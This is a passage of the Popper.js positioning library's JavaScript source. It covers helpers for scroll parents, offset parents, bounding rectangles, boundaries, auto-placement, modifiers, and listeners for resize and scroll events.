scheduled = true;\n      setTimeout(function () {\n        scheduled = false;\n        fn();\n      }, timeoutDuration);\n    }\n  };\n}\n\nvar supportsMicroTasks = isBrowser && window.Promise;\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nvar debounce = supportsMicroTasks ? microtaskDebounce : taskDebounce;\n\n/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nfunction isFunction(functionToCheck) {\n  var getType = {};\n  return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';\n}\n\n/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nfunction getStyleComputedProperty(element, property) {\n  if (element.nodeType !== 1) {\n    return [];\n  }\n  // NOTE: 1 DOM access here\n  var css = getComputedStyle(element, null);\n  return property ? css[property] : css;\n}\n\n/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nfunction getParentNode(element) {\n  if (element.nodeName === 'HTML') {\n    return element;\n  }\n  return element.parentNode || element.host;\n}\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nfunction getScrollParent(element) {\n  // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n  if (!element) {\n    return document.body;\n  }\n\n  switch (element.nodeName) {\n    case 'HTML':\n    case 'BODY':\n      return element.ownerDocument.body;\n    case '#document':\n      return element.body;\n  }\n\n  // Firefox want us to check `-x` and `-y` variations as well\n\n  var _getStyleComputedProp = getStyleComputedProperty(element),\n      overflow = _getStyleComputedProp.overflow,\n      overflowX = _getStyleComputedProp.overflowX,\n      overflowY = _getStyleComputedProp.overflowY;\n\n  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n    return element;\n  }\n\n  return getScrollParent(getParentNode(element));\n}\n\n/**\n * Tells if you are running Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @argument {number} version to check\n * @returns {Boolean} isIE\n */\nvar cache = {};\n\nvar isIE = function () {\n  var version = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 'all';\n\n  version = version.toString();\n  if (cache.hasOwnProperty(version)) {\n    return cache[version];\n  }\n  switch (version) {\n    case '11':\n      cache[version] = navigator.userAgent.indexOf('Trident') !== -1;\n      break;\n    case '10':\n      cache[version] = navigator.appVersion.indexOf('MSIE 10') !== -1;\n      break;\n    case 'all':\n      cache[version] = navigator.userAgent.indexOf('Trident') !== -1 || navigator.userAgent.indexOf('MSIE') !== -1;\n      break;\n  }\n\n  //Set IE\n  cache.all = cache.all || Object.keys(cache).some(function (key) {\n    return cache[key];\n  });\n  return cache[version];\n};\n\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nfunction getOffsetParent(element) {\n  if (!element) {\n    return document.documentElement;\n  }\n\n  var noOffsetParent = isIE(10) ? document.body : null;\n\n  // NOTE: 1 DOM access here\n  var offsetParent = element.offsetParent;\n  // Skip hidden elements which don't have an offsetParent\n  while (offsetParent === noOffsetParent && element.nextElementSibling) {\n    offsetParent = (element = element.nextElementSibling).offsetParent;\n  }\n\n  var nodeName = offsetParent && offsetParent.nodeName;\n\n  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n    return element ? element.ownerDocument.documentElement : document.documentElement;\n  }\n\n  // .offsetParent will return the closest TD or TABLE in case\n  // no offsetParent is present, I hate this job...\n  if (['TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 && getStyleComputedProperty(offsetParent, 'position') === 'static') {\n    return getOffsetParent(offsetParent);\n  }\n\n  return offsetParent;\n}\n\nfunction isOffsetContainer(element) {\n  var nodeName = element.nodeName;\n\n  if (nodeName === 'BODY') {\n    return false;\n  }\n  return nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element;\n}\n\n/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nfunction getRoot(node) {\n  if (node.parentNode !== null) {\n    return getRoot(node.parentNode);\n  }\n\n  return node;\n}\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nfunction findCommonOffsetParent(element1, element2) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n    return document.documentElement;\n  }\n\n  // Here we make sure to give as \"start\" the element that comes first in the DOM\n  var order = element1.compareDocumentPosition(element2) & Node.DOCUMENT_POSITION_FOLLOWING;\n  var start = order ? element1 : element2;\n  var end = order ? element2 : element1;\n\n  // Get common ancestor container\n  var range = document.createRange();\n  range.setStart(start, 0);\n  range.setEnd(end, 0);\n  var commonAncestorContainer = range.commonAncestorContainer;\n\n  // Both nodes are inside #document\n\n  if (element1 !== commonAncestorContainer && element2 !== commonAncestorContainer || start.contains(end)) {\n    if (isOffsetContainer(commonAncestorContainer)) {\n      return commonAncestorContainer;\n    }\n\n    return getOffsetParent(commonAncestorContainer);\n  }\n\n  // one of the nodes is inside shadowDOM, find which one\n  var element1root = getRoot(element1);\n  if (element1root.host) {\n    return findCommonOffsetParent(element1root.host, element2);\n  } else {\n    return findCommonOffsetParent(element1, getRoot(element2).host);\n  }\n}\n\n/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nfunction getScroll(element) {\n  var side = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'top';\n\n  var upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n  var nodeName = element.nodeName;\n\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    var html = element.ownerDocument.documentElement;\n    var scrollingElement = element.ownerDocument.scrollingElement || html;\n    return scrollingElement[upperSide];\n  }\n\n  return element[upperSide];\n}\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nfunction includeScroll(rect, element) {\n  var subtract = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;\n\n  var scrollTop = getScroll(element, 'top');\n  var scrollLeft = getScroll(element, 'left');\n  var modifier = subtract ? -1 : 1;\n  rect.top += scrollTop * modifier;\n  rect.bottom += scrollTop * modifier;\n  rect.left += scrollLeft * modifier;\n  rect.right += scrollLeft * modifier;\n  return rect;\n}\n\n/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nfunction getBordersSize(styles, axis) {\n  var sideA = axis === 'x' ? 'Left' : 'Top';\n  var sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n  return parseFloat(styles['border' + sideA + 'Width'], 10) + parseFloat(styles['border' + sideB + 'Width'], 10);\n}\n\nfunction getSize(axis, body, html, computedStyle) {\n  return Math.max(body['offset' + axis], body['scroll' + axis], html['client' + axis], html['offset' + axis], html['scroll' + axis], isIE(10) ? html['offset' + axis] + computedStyle['margin' + (axis === 'Height' ? 'Top' : 'Left')] + computedStyle['margin' + (axis === 'Height' ? 'Bottom' : 'Right')] : 0);\n}\n\nfunction getWindowSizes() {\n  var body = document.body;\n  var html = document.documentElement;\n  var computedStyle = isIE(10) && getComputedStyle(html);\n\n  return {\n    height: getSize('Height', body, html, computedStyle),\n    width: getSize('Width', body, html, computedStyle)\n  };\n}\n\nvar classCallCheck = function (instance, Constructor) {\n  if (!(instance instanceof Constructor)) {\n    throw new TypeError(\"Cannot call a class as a function\");\n  }\n};\n\nvar createClass = function () {\n  function defineProperties(target, props) {\n    for (var i = 0; i < props.length; i++) {\n      var descriptor = props[i];\n      descriptor.enumerable = descriptor.enumerable || false;\n      descriptor.configurable = true;\n      if (\"value\" in descriptor) descriptor.writable = true;\n      Object.defineProperty(target, descriptor.key, descriptor);\n    }\n  }\n\n  return function (Constructor, protoProps, staticProps) {\n    if (protoProps) defineProperties(Constructor.prototype, protoProps);\n    if (staticProps) defineProperties(Constructor, staticProps);\n    return Constructor;\n  };\n}();\n\n\n\n\n\nvar defineProperty = function (obj, key, value) {\n  if (key in obj) {\n    Object.defineProperty(obj, key, {\n      value: value,\n      enumerable: true,\n      configurable: true,\n      writable: true\n    });\n  } else {\n    obj[key] = value;\n  }\n\n  return obj;\n};\n\nvar _extends = Object.assign || function (target) {\n  for (var i = 1; i < arguments.length; i++) {\n    var source = arguments[i];\n\n    for (var key in source) {\n      if (Object.prototype.hasOwnProperty.call(source, key)) {\n        target[key] = source[key];\n      }\n    }\n  }\n\n  return target;\n};\n\n/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nfunction getClientRect(offsets) {\n  return _extends({}, offsets, {\n    right: offsets.left + offsets.width,\n    bottom: offsets.top + offsets.height\n  });\n}\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nfunction getBoundingClientRect(element) {\n  var rect = {};\n\n  // IE10 10 FIX: Please, don't ask, the element isn't\n  // considered in DOM in some circumstances...\n  // This isn't reproducible in IE10 compatibility mode of IE11\n  try {\n    if (isIE(10)) {\n      rect = element.getBoundingClientRect();\n      var scrollTop = getScroll(element, 'top');\n      var scrollLeft = getScroll(element, 'left');\n      rect.top += scrollTop;\n      rect.left += scrollLeft;\n      rect.bottom += scrollTop;\n      rect.right += scrollLeft;\n    } else {\n      rect = element.getBoundingClientRect();\n    }\n  } catch (e) {}\n\n  var result = {\n    left: rect.left,\n    top: rect.top,\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top\n  };\n\n  // subtract scrollbar size from sizes\n  var sizes = element.nodeName === 'HTML' ? getWindowSizes() : {};\n  var width = sizes.width || element.clientWidth || result.right - result.left;\n  var height = sizes.height || element.clientHeight || result.bottom - result.top;\n\n  var horizScrollbar = element.offsetWidth - width;\n  var vertScrollbar = element.offsetHeight - height;\n\n  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n  // we make this check conditional for performance reasons\n  if (horizScrollbar || vertScrollbar) {\n    var styles = getStyleComputedProperty(element);\n    horizScrollbar -= getBordersSize(styles, 'x');\n    vertScrollbar -= getBordersSize(styles, 'y');\n\n    result.width -= horizScrollbar;\n    result.height -= vertScrollbar;\n  }\n\n  return getClientRect(result);\n}\n\nfunction getOffsetRectRelativeToArbitraryNode(children, parent) {\n  var fixedPosition = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;\n\n  var isIE10 = isIE(10);\n  var isHTML = parent.nodeName === 'HTML';\n  var childrenRect = getBoundingClientRect(children);\n  var parentRect = getBoundingClientRect(parent);\n  var scrollParent = getScrollParent(children);\n\n  var styles = getStyleComputedProperty(parent);\n  var borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n  var borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n  // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n  if (fixedPosition && parent.nodeName === 'HTML') {\n    parentRect.top = Math.max(parentRect.top, 0);\n    parentRect.left = Math.max(parentRect.left, 0);\n  }\n  var offsets = getClientRect({\n    top: childrenRect.top - parentRect.top - borderTopWidth,\n    left: childrenRect.left - parentRect.left - borderLeftWidth,\n    width: childrenRect.width,\n    height: childrenRect.height\n  });\n  offsets.marginTop = 0;\n  offsets.marginLeft = 0;\n\n  // Subtract margins of documentElement in case it's being used as parent\n  // we do this only on HTML because it's the only element that behaves\n  // differently when margins are applied to it. The margins are included in\n  // the box of the documentElement, in the other cases not.\n  if (!isIE10 && isHTML) {\n    var marginTop = parseFloat(styles.marginTop, 10);\n    var marginLeft = parseFloat(styles.marginLeft, 10);\n\n    offsets.top -= borderTopWidth - marginTop;\n    offsets.bottom -= borderTopWidth - marginTop;\n    offsets.left -= borderLeftWidth - marginLeft;\n    offsets.right -= borderLeftWidth - marginLeft;\n\n    // Attach marginTop and marginLeft because in some circumstances we may need them\n    offsets.marginTop = marginTop;\n    offsets.marginLeft = marginLeft;\n  }\n\n  if (isIE10 && !fixedPosition ? parent.contains(scrollParent) : parent === scrollParent && scrollParent.nodeName !== 'BODY') {\n    offsets = includeScroll(offsets, parent);\n  }\n\n  return offsets;\n}\n\nfunction getViewportOffsetRectRelativeToArtbitraryNode(element) {\n  var excludeScroll = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;\n\n  var html = element.ownerDocument.documentElement;\n  var relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n  var width = Math.max(html.clientWidth, window.innerWidth || 0);\n  var height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n  var scrollTop = !excludeScroll ? getScroll(html) : 0;\n  var scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n  var offset = {\n    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n    width: width,\n    height: height\n  };\n\n  return getClientRect(offset);\n}\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nfunction isFixed(element) {\n  var nodeName = element.nodeName;\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    return false;\n  }\n  if (getStyleComputedProperty(element, 'position') === 'fixed') {\n    return true;\n  }\n  return isFixed(getParentNode(element));\n}\n\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nfunction getFixedPositionOffsetParent(element) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element || !element.parentElement || isIE()) {\n    return document.documentElement;\n  }\n  var el = element.parentElement;\n  while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n    el = el.parentElement;\n  }\n  return el || document.documentElement;\n}\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nfunction getBoundaries(popper, reference, padding, boundariesElement) {\n  var fixedPosition = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : false;\n\n  // NOTE: 1 DOM access here\n\n  var boundaries = { top: 0, left: 0 };\n  var offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n  // Handle viewport case\n  if (boundariesElement === 'viewport') {\n    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n  } else {\n    // Handle other cases based on DOM element used as boundaries\n    var boundariesNode = void 0;\n    if (boundariesElement === 'scrollParent') {\n      boundariesNode = getScrollParent(getParentNode(reference));\n      if (boundariesNode.nodeName === 'BODY') {\n        boundariesNode = popper.ownerDocument.documentElement;\n      }\n    } else if (boundariesElement === 'window') {\n      boundariesNode = popper.ownerDocument.documentElement;\n    } else {\n      boundariesNode = boundariesElement;\n    }\n\n    var offsets = getOffsetRectRelativeToArbitraryNode(boundariesNode, offsetParent, fixedPosition);\n\n    // In case of HTML, we need a different computation\n    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n      var _getWindowSizes = getWindowSizes(),\n          height = _getWindowSizes.height,\n          width = _getWindowSizes.width;\n\n      boundaries.top += offsets.top - offsets.marginTop;\n      boundaries.bottom = height + offsets.top;\n      boundaries.left += offsets.left - offsets.marginLeft;\n      boundaries.right = width + offsets.left;\n    } else {\n      // for all the other DOM elements, this one is good\n      boundaries = offsets;\n    }\n  }\n\n  // Add paddings\n  boundaries.left += padding;\n  boundaries.top += padding;\n  boundaries.right -= padding;\n  boundaries.bottom -= padding;\n\n  return boundaries;\n}\n\nfunction getArea(_ref) {\n  var width = _ref.width,\n      height = _ref.height;\n\n  return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction computeAutoPlacement(placement, refRect, popper, reference, boundariesElement) {\n  var padding = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 0;\n\n  if (placement.indexOf('auto') === -1) {\n    return placement;\n  }\n\n  var boundaries = getBoundaries(popper, reference, padding, boundariesElement);\n\n  var rects = {\n    top: {\n      width: boundaries.width,\n      height: refRect.top - boundaries.top\n    },\n    right: {\n      width: boundaries.right - refRect.right,\n      height: boundaries.height\n    },\n    bottom: {\n      width: boundaries.width,\n      height: boundaries.bottom - refRect.bottom\n    },\n    left: {\n      width: refRect.left - boundaries.left,\n      height: boundaries.height\n    }\n  };\n\n  var sortedAreas = Object.keys(rects).map(function (key) {\n    return _extends({\n      key: key\n    }, rects[key], {\n      area: getArea(rects[key])\n    });\n  }).sort(function (a, b) {\n    return b.area - a.area;\n  });\n\n  var filteredAreas = sortedAreas.filter(function (_ref2) {\n    var width = _ref2.width,\n        height = _ref2.height;\n    return width >= popper.clientWidth && height >= popper.clientHeight;\n  });\n\n  var computedPlacement = filteredAreas.length > 0 ? filteredAreas[0].key : sortedAreas[0].key;\n\n  var variation = placement.split('-')[1];\n\n  return computedPlacement + (variation ? '-' + variation : '');\n}\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nfunction getReferenceOffsets(state, popper, reference) {\n  var fixedPosition = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : null;\n\n  var commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);\n}\n\n/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nfunction getOuterSizes(element) {\n  var styles = getComputedStyle(element);\n  var x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n  var y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n  var result = {\n    width: element.offsetWidth + y,\n    height: element.offsetHeight + x\n  };\n  return result;\n}\n\n/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nfunction getOppositePlacement(placement) {\n  var hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n  return placement.replace(/left|right|bottom|top/g, function (matched) {\n    return hash[matched];\n  });\n}\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nfunction getPopperOffsets(popper, referenceOffsets, placement) {\n  placement = placement.split('-')[0];\n\n  // Get popper node sizes\n  var popperRect = getOuterSizes(popper);\n\n  // Add position, width and height to our offsets object\n  var popperOffsets = {\n    width: popperRect.width,\n    height: popperRect.height\n  };\n\n  // depending by the popper placement we have to compute its offsets slightly differently\n  var isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n  var mainSide = isHoriz ? 'top' : 'left';\n  var secondarySide = isHoriz ? 'left' : 'top';\n  var measurement = isHoriz ? 'height' : 'width';\n  var secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n  popperOffsets[mainSide] = referenceOffsets[mainSide] + referenceOffsets[measurement] / 2 - popperRect[measurement] / 2;\n  if (placement === secondarySide) {\n    popperOffsets[secondarySide] = referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n  } else {\n    popperOffsets[secondarySide] = referenceOffsets[getOppositePlacement(secondarySide)];\n  }\n\n  return popperOffsets;\n}\n\n/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nfunction find(arr, check) {\n  // use native find if supported\n  if (Array.prototype.find) {\n    return arr.find(check);\n  }\n\n  // use `filter` to obtain the same behavior of `find`\n  return arr.filter(check)[0];\n}\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nfunction findIndex(arr, prop, value) {\n  // use native findIndex if supported\n  if (Array.prototype.findIndex) {\n    return arr.findIndex(function (cur) {\n      return cur[prop] === value;\n    });\n  }\n\n  // use `find` + `indexOf` if `findIndex` isn't supported\n  var match = find(arr, function (obj) {\n    return obj[prop] === value;\n  });\n  return arr.indexOf(match);\n}\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nfunction runModifiers(modifiers, data, ends) {\n  var modifiersToRun = ends === undefined ? modifiers : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n  modifiersToRun.forEach(function (modifier) {\n    if (modifier['function']) {\n      // eslint-disable-line dot-notation\n      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n    }\n    var fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n    if (modifier.enabled && isFunction(fn)) {\n      // Add properties to offsets to make them a complete clientRect object\n      // we do this before each modifier to make sure the previous one doesn't\n      // mess with these values\n      data.offsets.popper = getClientRect(data.offsets.popper);\n      data.offsets.reference = getClientRect(data.offsets.reference);\n\n      data = fn(data, modifier);\n    }\n  });\n\n  return data;\n}\n\n/**\n * Updates the position of the popper, computing the new offsets and applying\n * the new style.<br />\n * Prefer `scheduleUpdate` over `update` because of performance reasons.\n * @method\n * @memberof Popper\n */\nfunction update() {\n  // if popper is destroyed, don't perform any further update\n  if (this.state.isDestroyed) {\n    return;\n  }\n\n  var data = {\n    instance: this,\n    styles: {},\n    arrowStyles: {},\n    attributes: {},\n    flipped: false,\n    offsets: {}\n  };\n\n  // compute reference element offsets\n  data.offsets.reference = getReferenceOffsets(this.state, this.popper, this.reference, this.options.positionFixed);\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  data.placement = computeAutoPlacement(this.options.placement, data.offsets.reference, this.popper, this.reference, this.options.modifiers.flip.boundariesElement, this.options.modifiers.flip.padding);\n\n  // store the computed placement inside `originalPlacement`\n  data.originalPlacement = data.placement;\n\n  data.positionFixed = this.options.positionFixed;\n\n  // compute the popper offsets\n  data.offsets.popper = getPopperOffsets(this.popper, data.offsets.reference, data.placement);\n  data.offsets.popper.position = this.options.positionFixed ? 'fixed' : 'absolute';\n\n  // run the modifiers\n  data = runModifiers(this.modifiers, data);\n\n  // the first `update` will call `onCreate` callback\n  // the other ones will call `onUpdate` callback\n  if (!this.state.isCreated) {\n    this.state.isCreated = true;\n    this.options.onCreate(data);\n  } else {\n    this.options.onUpdate(data);\n  }\n}\n\n/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nfunction isModifierEnabled(modifiers, modifierName) {\n  return modifiers.some(function (_ref) {\n    var name = _ref.name,\n        enabled = _ref.enabled;\n    return enabled && name === modifierName;\n  });\n}\n\n/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nfunction getSupportedPropertyName(property) {\n  var prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n  var upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n  for (var i = 0; i < prefixes.length; i++) {\n    var prefix = prefixes[i];\n    var toCheck = prefix ? '' + prefix + upperProp : property;\n    if (typeof document.body.style[toCheck] !== 'undefined') {\n      return toCheck;\n    }\n  }\n  return null;\n}\n\n/**\n * Destroy the popper\n * @method\n * @memberof Popper\n */\nfunction destroy() {\n  this.state.isDestroyed = true;\n\n  // touch DOM only if `applyStyle` modifier is enabled\n  if (isModifierEnabled(this.modifiers, 'applyStyle')) {\n    this.popper.removeAttribute('x-placement');\n    this.popper.style.position = '';\n    this.popper.style.top = '';\n    this.popper.style.left = '';\n    this.popper.style.right = '';\n    this.popper.style.bottom = '';\n    this.popper.style.willChange = '';\n    this.popper.style[getSupportedPropertyName('transform')] = '';\n  }\n\n  this.disableEventListeners();\n\n  // remove the popper if user explicity asked for the deletion on destroy\n  // do not use `remove` because IE11 doesn't support it\n  if (this.options.removeOnDestroy) {\n    this.popper.parentNode.removeChild(this.popper);\n  }\n  return this;\n}\n\n/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nfunction getWindow(element) {\n  var ownerDocument = element.ownerDocument;\n  return ownerDocument ? ownerDocument.defaultView : window;\n}\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n  var isBody = scrollParent.nodeName === 'BODY';\n  var target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;\n  target.addEventListener(event, callback, { passive: true });\n\n  if (!isBody) {\n    attachToScrollParents(getScrollParent(target.parentNode), event, callback, scrollParents);\n  }\n  scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nfunction setupEventListeners(reference, options, state, updateBound) {\n  // Resize event listener on window\n  state.updateBound = updateBound;\n  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });\n\n  // Scroll event listener on scroll parents\n  var scrollElement = getScrollParent(reference);\n  attachToScrollParents(scrollElement, 'scroll', state.updateBound, state.scrollParents);\n  state.scrollElement = scrollElement;\n  state.eventsEnabled = true;\n\n  return state;\n}\n\n/**\n * It will add resize/scroll events and start recalculating\n * position of the popper element when they are triggered.\n * @method\n * @memberof Popper\n */\nfunction enableEventListeners() {\n  if (!this.state.eventsEnabled) {\n    this.state = setupEventListeners(this.reference, this.options, this.state, this.scheduleUpdate);\n  }\n}\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nfunction removeEventListeners(reference, state) {\n  // Remove resize event listener on window\n  getWindow(reference).removeEventListener('resize', state.updateBound);\n\n  // Remove scroll event listener on scroll parents\n  state.scrollParents.forEach(function (target) {\n    target.removeEventListener('scroll', state.updateBound);\n  });\n\n  // Reset state\n  state.updateBound = null;\n  state.scrollParents = [];\n  state.scrollElement = null;\n  state.eventsEnabled = false;\n  return state;\n}\n\n/**\n * It will remove resize/scroll events and won't recalculate popper position\n * when they are triggered. It also won't trigger onUpdate callback anymore,\n * unless you call `update` method manually.\n * @method\n * @memberof Popper\n */\nfunction disableEventListeners() {\n  if (this.state.eventsEnabled) {\n    cancelAnimationFrame(this.scheduleUpdate);\n    this.state = removeEventListeners(this.reference, this.state);\n  }\n}\n\n/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nfunction isNumeric(n) {\n  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nfunction setStyles(element, styles) {\n  Object.keys(styles).forEach(function (prop) {\n    var unit = '';\n    // add unit if the value is numeric and is one of the following\n    if (['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !== -1 && isNumeric(styles[prop])) {\n      unit = 'px';\n    }\n    element.style[prop] = styles[prop] + unit;\n  });\n}\n\n/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nfunction setAttributes(element, attributes) {\n  Object.keys(attributes).forEach(function (prop) {\n    var value = attributes[prop];\n    if (value !== false) {\n      element.setAttribute(prop, attributes[prop]);\n    } else {\n      element.removeAttribute(prop);\n    }\n  });\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} data.styles - List of style properties - values to apply to popper element\n * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The same data object\n */\nfunction applyStyle(data) {\n  // any property present in `data.styles` will be applied to the popper,\n  // in this way we can make the 3rd party modifiers add custom styles to it\n  // Be aware, modifiers could override the properties defined in the previous\n  // lines of this modifier!\n  setStyles(data.instance.popper, 